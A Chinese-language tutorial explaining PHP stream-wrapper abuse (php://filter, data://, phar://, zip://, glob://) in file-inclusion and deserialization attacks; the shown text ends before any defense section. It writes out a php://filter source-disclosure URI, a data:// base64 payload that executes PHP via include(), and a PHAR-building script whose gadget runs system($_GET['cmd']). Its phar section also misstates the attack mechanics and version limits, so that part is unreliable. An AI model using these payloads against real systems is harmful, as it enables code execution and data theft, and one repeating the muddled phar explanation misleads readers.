在 PHP 安全领域,伪协议(Pseudo-Protocol) 是一个绕不开的关键概念。它是 PHP 内置的一组特殊 “协议”,允许开发者通过统一的输入接口(如include()、file_get_contents()等函数)操作非传统文件资源(如内存数据、数据流、压缩包等)。然而,这种灵活性也为攻击者提供了利用空间 —— 通过构造特定的伪协议 URI,可绕过文件系统限制、读取敏感信息,甚至执行任意代码。
本文将从原理出发,结合实际攻击场景,深入解析 PHP 伪协议的技术细节,并给出针对性的防御建议。
一、PHP 伪协议的底层原理
要理解 PHP 伪协议,需先理解 PHP 的流(Stream) 机制。PHP 的流系统是一套抽象的 I/O 接口,通过 “包装器(Wrapper)” 将不同类型的资源(文件、网络、内存等)统一为标准的读写操作。伪协议本质上是流包装器的 “调用入口”,通过特定的 URI 格式触发对应的包装器逻辑。
1.1 流包装器(Stream Wrapper)
PHP 内置了多种流包装器,每个包装器对应一种资源类型。例如:
- file://:操作本地文件系统(默认包装器)
- http:///https://:操作 HTTP/HTTPS 网络资源
- php://:操作 PHP 内部数据流(如输入输出、过滤器)
- data://:直接操作内存中的数据
- phar://:操作 PHAR 压缩包(可触发反序列化)
通过stream_get_wrappers()函数可查看当前环境支持的所有包装器:
print_r(stream_get_wrappers());
// 输出示例:Array ( [0] => https [1] => ftps [2] => compress.zlib ... [n] => phar )
1.2 伪协议的 URI 格式
伪协议的 URI 遵循标准格式:
<协议>://<路径或参数>
例如:
-
php://filter/read=convert.base64-encode/resource=index.php:通过php://filter包装器读取index.php并进行 Base64 编码
-
data://text/plain;base64,SGVsbG8gV29ybGQ=:通过data://包装器直接加载 Base64 编码的文本数据
二、常见伪协议的攻击场景
伪协议的危险性在于,当它们与文件包含函数(如include()、require()、file_get_contents())或反序列化函数(如unserialize())结合时,可绕过常规的安全限制,实现敏感信息泄露、代码执行等攻击。
2.1 php://filter:源代码读取的 “万能钥匙”
php://filter是 PHP 内置的数据流过滤器包装器,允许在读取或写入数据时对数据流进行转换(如编码、加密、截断等)。攻击者常用它读取目标文件的源代码,尤其是当目标网站禁用了file://或限制了文件后缀时。
攻击原理
php://filter的 URI 格式为:
php://filter/<操作类型>=<过滤器列表>/<资源类型>=<目标文件>
- 操作类型:read(读取时过滤)或write(写入时过滤)
- 过滤器列表:多个过滤器用|分隔(如convert.base64-encode用于 Base64 编码)
- 资源类型:resource(目标资源路径)
实战示例
假设网站存在文件包含漏洞(如index.php?file=xxx),且xxx参数未严格校验:
// index.php
include($_GET['file']); // 未校验参数
攻击者可构造如下参数读取index.php源代码:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
服务器执行时,会先读取index.php的内容,通过convert.base64-encode过滤器转换为 Base64,最终被include()包含(此时 Base64 数据会被当作 PHP 代码执行,但因无有效 PHP 标签,实际会报错并输出 Base64 内容)。攻击者通过解码 Base64 即可获取源代码。
2.2 data://:内存中的恶意代码执行
data://包装器允许直接将内存中的数据作为文件资源使用,格式为:
data://<MIME类型>;<编码>,<数据内容>
- MIME 类型:如text/plain、text/php(声明数据类型)
- 编码:常用base64(数据内容为 Base64 编码)
攻击场景
若文件包含函数(如include())允许加载data://协议,攻击者可直接注入 PHP 代码:
// 恶意参数
?file=data://text/php;base64,PD9waHAgcGhwaW5mbygpOz8+
// 解码后数据为:<?php phpinfo();?>
当include()加载该 URI 时,会将 Base64 数据解码为 PHP 代码并执行,导致任意代码执行。
2.3 phar://:反序列化攻击的 “隐藏通道”
phar://包装器用于操作 PHAR 格式的压缩包(PHP Archive)。PHAR 文件默认包含一个metadata字段,存储反序列化的类对象。当phar://被用于包含文件时,若 PHP 版本低于5.6.30或7.0.14,可能触发反序列化漏洞。
攻击条件
- 目标代码使用unserialize()反序列化用户可控数据
- 服务器开启phar扩展(默认开启)
攻击流程
- 构造恶意 PHAR 文件:
<?php
class EvilClass {
public function __destruct() {
system($_GET['cmd']); // 执行系统命令
}
}
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 必须的存根
$phar->setMetadata(new EvilClass()); // 存储恶意对象
$phar->stopBuffering();
- 触发反序列化:
unserialize(file_get_contents('phar://payload.phar'));
// 反序列化metadata中的EvilClass对象,执行__destruct()方法
2.4 其他危险伪协议
协议 | 典型用途 | 攻击风险 |
zip:// | 操作 ZIP 压缩包 | 配合文件包含读取压缩包内文件 |
glob:// | 匹配文件路径模式 | 遍历目录获取敏感文件列表 |
ssh2:// | 通过 SSH 操作远程资源 | 未授权访问远程服务器 |